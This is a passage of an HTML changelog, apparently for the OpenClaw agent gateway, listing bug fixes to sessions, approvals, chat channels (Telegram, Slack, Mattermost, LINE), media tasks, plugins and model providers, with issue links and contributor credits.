<li>Gateway/sessions: align <code>chat.history</code> and <code>sessions.list</code> thinking defaults with owning-agent and catalog-aware resolution so Control UI session defaults match backend runtime state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4228334073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63418" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63418/hovercard" href="https://github.com/openclaw/openclaw/pull/63418">#63418</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpreagan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpreagan">@jpreagan</a>.</li>
<li>Devices/pairing: recover array-shaped device and node pairing state files before persisting approvals, so UUID-keyed pending and paired entries no longer disappear after a malformed JSON store write. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223190605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63035" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63035/hovercard" href="https://github.com/openclaw/openclaw/issues/63035">#63035</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sar618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sar618">@sar618</a>.</li>
<li>Gateway/auth: clear reused stale device tokens and stop reconnecting on device-token mismatch in the Control UI and Node gateway clients, avoiding rate-limit loops after scope-upgrade or token-rotation handoffs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328280664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71609/hovercard" href="https://github.com/openclaw/openclaw/issues/71609">#71609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ricksayhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ricksayhi">@ricksayhi</a>.</li>
<li>Gateway/approvals: treat duplicate same-decision approval resolves as idempotent during the resolved-entry grace window, including consumed <code>allow-once</code> approvals, while returning an explicit already-resolved error for conflicting repeats. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4188520175" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59162" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59162/hovercard" href="https://github.com/openclaw/openclaw/issues/59162">#59162</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4180849243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58479" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58479/hovercard" href="https://github.com/openclaw/openclaw/issues/58479">#58479</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249117948" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65486" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65486/hovercard" href="https://github.com/openclaw/openclaw/issues/65486">#65486</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wikithoughts/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wikithoughts">@wikithoughts</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sajazuniga7-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sajazuniga7-coder">@sajazuniga7-coder</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjmai20682068-create/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjmai20682068-create">@mjmai20682068-create</a>.</li>
<li>Channels/Telegram: honor <code>approvals.exec/plugin.targets[].accountId</code> when routing native approvals across multi-bot Telegram accounts while preserving unscoped Telegram targets for any account. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306154607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69916/hovercard" href="https://github.com/openclaw/openclaw/issues/69916">#69916</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Telegram/gateway: bound outbound Bot API calls and cache bundled plugin alias lookup so slow Telegram sends or WSL2 filesystem scans no longer wedge gateway replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348974196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74210" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74210/hovercard" href="https://github.com/openclaw/openclaw/pull/74210">#74210</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Agents/exec: omit the internal session-resume fallback preface from successful async exec completion messages sent directly back to chat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269075777" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67181" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67181/hovercard" href="https://github.com/openclaw/openclaw/issues/67181">#67181</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raistlin88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raistlin88">@raistlin88</a>.</li>
<li>Agents/media: register detached <code>video_generate</code> and <code>music_generate</code> tool run contexts until terminal status, so Discord-backed provider jobs stay live in <code>/tasks</code> instead of becoming <code>lost</code> when the parent chat run context disappears. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/media: prefer OpenAI image and video providers when the default model uses the OpenAI Codex auth alias, so auto media generation no longer falls through to Fal before GPT Image or Sora. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Tasks/media: infer agent ownership for session-scoped task records so <code>/tasks</code> agent-local fallback includes session-backed <code>video_generate</code> and other async media jobs even when the current chat session has no linked rows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/media: keep long-running <code>video_generate</code> and <code>music_generate</code> tasks fresh while provider jobs are still pending, so task maintenance does not mark active Discord media renders lost before completion. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/status: treat scope-limited gateway probes as reachable-but-degraded in shared status scans, so <code>openclaw status --all</code> no longer reports a live gateway as unreachable after <code>missing scope: operator.read</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090293663" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49180" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49180/hovercard" href="https://github.com/openclaw/openclaw/issues/49180">#49180</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080656366" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47981" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47981/hovercard" href="https://github.com/openclaw/openclaw/pull/47981">#47981</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openjay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openjay">@openjay</a>.</li>
<li>CLI/update: skip tracked plugins disabled in config during post-update plugin sync before npm, ClawHub, or marketplace update checks, preserving their install records without failing the update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347036954" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73880" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73880/hovercard" href="https://github.com/openclaw/openclaw/issues/73880">#73880</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Slack/Socket Mode: use a 15s Slack SDK pong timeout by default and add <code>channels.slack.socketMode.clientPingTimeout</code>, <code>serverPingTimeout</code>, and <code>pingPongLoggingEnabled</code> overrides so stale-websocket handling no longer depends on app-event health heuristics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3928501869" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/14248" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/14248/hovercard" href="https://github.com/openclaw/openclaw/issues/14248">#14248</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4181320028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58519" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58519/hovercard" href="https://github.com/openclaw/openclaw/issues/58519">#58519</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235931183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64009" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64009/hovercard" href="https://github.com/openclaw/openclaw/issues/64009">#64009</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4228899443" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63488" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63488/hovercard" href="https://github.com/openclaw/openclaw/issues/63488">#63488</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shivasymbl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shivasymbl">@shivasymbl</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/freerk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/freerk">@freerk</a>.</li>
<li>Slack/media: bound private file and forwarded attachment downloads with idle and total timeouts while preserving placeholder fallback, so stalled Slack <code>file_share</code> media no longer wedges inbound message handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211497843" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61850/hovercard" href="https://github.com/openclaw/openclaw/issues/61850">#61850</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bassboy2k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bassboy2k">@bassboy2k</a>.</li>
<li>Plugins/inspector: keep bundled plugin runtime capture quiet and config-tolerant for Codex, memory-lancedb, Feishu, Mattermost, QQBot, and Tlon so plugin-inspector JSON checks can validate the full bundled set. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Slack/auto-reply: keep fully consumed text reset triggers such as <code>new session</code> out of <code>BodyForAgent</code> after directive cleanup, so configured Slack reset phrases do not leak into the fresh model turn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339884694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73137/hovercard" href="https://github.com/openclaw/openclaw/issues/73137">#73137</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Plugins/runtime deps: prune stale retained bundled runtime deps and keep doctor/secret channel contract scans on lightweight artifacts, so disabled bundled channels stop preserving old dependency trees or importing heavy plugin surfaces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime deps: cache unchanged bundled runtime mirror dist-file materialization decisions and close file-lock handles on owner-write failures, reducing repeated startup chunk scans and avoiding FileHandle-GC recovery stalls. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Auto-reply: bound the post-run pending tool-result delivery drain with a progress-aware idle timeout, so a never-settling tool-result task no longer leaves the session active forever while slow healthy deliveries can keep draining. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130025048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53889" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53889/hovercard" href="https://github.com/openclaw/openclaw/issues/53889">#53889</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243998262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64733/hovercard" href="https://github.com/openclaw/openclaw/pull/64733">#64733</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341833964" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73434" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73434/hovercard" href="https://github.com/openclaw/openclaw/pull/73434">#73434</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zijunl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zijunl">@zijunl</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wujiaming88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wujiaming88">@wujiaming88</a>.</li>
<li>Gateway/startup: start chat channels without waiting for primary model prewarm, keeping model warmup bounded in the background so Slack and other channels come online promptly when provider discovery is slow. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341654117" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73420" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73420/hovercard" href="https://github.com/openclaw/openclaw/pull/73420">#73420</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorukardahan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorukardahan">@dorukardahan</a>.</li>
<li>Gateway/install: carry env-backed config SecretRefs such as <code>channels.discord.token</code> into generated service environments when they are present only in the installing shell, while keeping gateway auth SecretRefs non-persisted. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4278464013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67817" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67817/hovercard" href="https://github.com/openclaw/openclaw/issues/67817">#67817</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341722381" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73426" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73426/hovercard" href="https://github.com/openclaw/openclaw/pull/73426">#73426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wdimaculangan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wdimaculangan">@wdimaculangan</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ztexydt-cqh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ztexydt-cqh">@ztexydt-cqh</a>.</li>
<li>Auto-reply/commands: stop bare <code>/reset</code> and <code>/new</code> after reset hooks acknowledge the command, so non-ACP channels no longer fall through into empty provider calls while <code>/reset &lt;message&gt;</code> and <code>/new &lt;message&gt;</code> still seed the next model turn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341297328" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73367" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73367/hovercard" href="https://github.com/openclaw/openclaw/issues/73367">#73367</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341562364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73412" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73412/hovercard" href="https://github.com/openclaw/openclaw/issues/73412">#73412</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hoyanhan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hoyanhan">@hoyanhan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wenxu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wenxu007">@wenxu007</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amdhelper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amdhelper">@amdhelper</a>.</li>
<li>Providers/DeepSeek: backfill DeepSeek V4 <code>reasoning_content</code> on plain assistant replay messages as well as tool-call turns, so thinking sessions with prior tool use no longer fail follow-up requests with missing reasoning content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341637215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73417" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73417/hovercard" href="https://github.com/openclaw/openclaw/issues/73417">#73417</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326839791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71372" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71372/hovercard" href="https://github.com/openclaw/openclaw/issues/71372">#71372</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/34262315716/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/34262315716">@34262315716</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>.</li>
<li>Agents/gateway tool: strip full config payloads from <code>config.patch</code> and <code>config.apply</code> tool responses while preserving direct RPC responses, so config-heavy sessions no longer replay large redacted configs into transcript history. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4079102358" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47610" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47610/hovercard" href="https://github.com/openclaw/openclaw/issues/47610">#47610</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341899536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73439" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73439/hovercard" href="https://github.com/openclaw/openclaw/pull/73439">#73439</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HanenVit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HanenVit">@HanenVit</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>Auto-reply: preserve voice-note media from silent turns while continuing to suppress text and non-voice media, so <code>NO_REPLY</code> TTS replies still deliver the requested audio bubble. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341519878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73406" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73406/hovercard" href="https://github.com/openclaw/openclaw/pull/73406">#73406</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</li>
<li>Channels/Mattermost: stop enqueueing regular inbound posts as system events, so Mattermost user messages reach the model only as user-role inbound-envelope content instead of also appearing as <code>System: Mattermost message...</code> directives. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329384231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71795" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71795/hovercard" href="https://github.com/openclaw/openclaw/issues/71795">#71795</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>Agents/media: qualify bare <code>agents.defaults.imageModel</code> and <code>pdfModel</code> refs from unique configured image-capable providers, so Ollama vision models such as <code>moondream</code> and <code>qwen2.5vl:7b</code> do not fall through to the default provider. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4038277975" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38816" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38816/hovercard" href="https://github.com/openclaw/openclaw/issues/38816">#38816</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341470414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73396" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73396/hovercard" href="https://github.com/openclaw/openclaw/pull/73396">#73396</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alainasclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alainasclaw">@alainasclaw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/Anthropic: send implicit Anthropic beta headers only to direct public Anthropic endpoints, including OAuth, so custom Anthropic-compatible providers no longer mis-handle unsupported beta flags unless explicitly configured. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341127562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73346" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73346/hovercard" href="https://github.com/openclaw/openclaw/pull/73346">#73346</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/byBrodowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/byBrodowski">@byBrodowski</a>.</li>
<li>Skills: require explicit <code>skills.entries.coding-agent.enabled</code> before exposing the bundled coding-agent skill, so installs with Codex on PATH but no OpenAI auth do not silently offer Codex delegation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341259220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73358" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73358/hovercard" href="https://github.com/openclaw/openclaw/issues/73358">#73358</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaFleurAdvertising/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaFleurAdvertising">@LaFleurAdvertising</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Plugins/startup: treat manifestless Claude bundles as valid installed-plugin registry entries instead of stale missing manifests, so workspace bundles no longer force repeated derived registry rebuilds or noisy <code>plugins.entries.workspace</code> warnings during Gateway startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341825054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73433" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73433/hovercard" href="https://github.com/openclaw/openclaw/issues/73433">#73433</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnneVoss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnneVoss">@AnneVoss</a>.</li>
<li>Agents/subagents: preserve <code>sessions_yield</code> as a paused subagent state and ignore its wait text while freezing completion output, so parent sessions wait for the final post-compaction answer instead of receiving intermediate progress or <code>(no output)</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341601776" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73413" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73413/hovercard" href="https://github.com/openclaw/openclaw/issues/73413">#73413</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ask-sola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ask-sola">@Ask-sola</a>.</li>
<li>Plugins/startup: precompute bundled runtime mirror fingerprints before taking the mirror lock and keep Docker bundled plugin runtime deps/mirrors in a Docker-managed volume instead of the Windows/WSL config bind mount, so cold starts avoid slow host-volume mirror writes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341089006" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73339/hovercard" href="https://github.com/openclaw/openclaw/issues/73339">#73339</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1yihui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1yihui">@1yihui</a>.</li>
<li>Plugins/runtime deps: refresh bundled runtime mirrors without deleting active import trees, so config-triggered restarts do not see transient missing plugin files during registration. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Channels/LINE: persist inbound image, video, audio, and file downloads in <code>~/.openclaw/media/inbound/</code> instead of temporary files so agents can still read LINE media after <code>/tmp</code> cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341315204" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73370" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73370/hovercard" href="https://github.com/openclaw/openclaw/issues/73370">#73370</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hijirii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hijirii">@hijirii</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wenxu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wenxu007">@wenxu007</a>.</li>
<li>CLI/plugins: keep bundled plugin installs out of <code>plugins.load.paths</code> while preserving install records, so install/inspect/doctor loops no longer warn about the current bundled plugin directory. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/plugins: scope <code>plugins inspect &lt;id&gt;</code> runtime loading to the matched plugin so single-plugin inspection does not load every plugin before checking the target. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
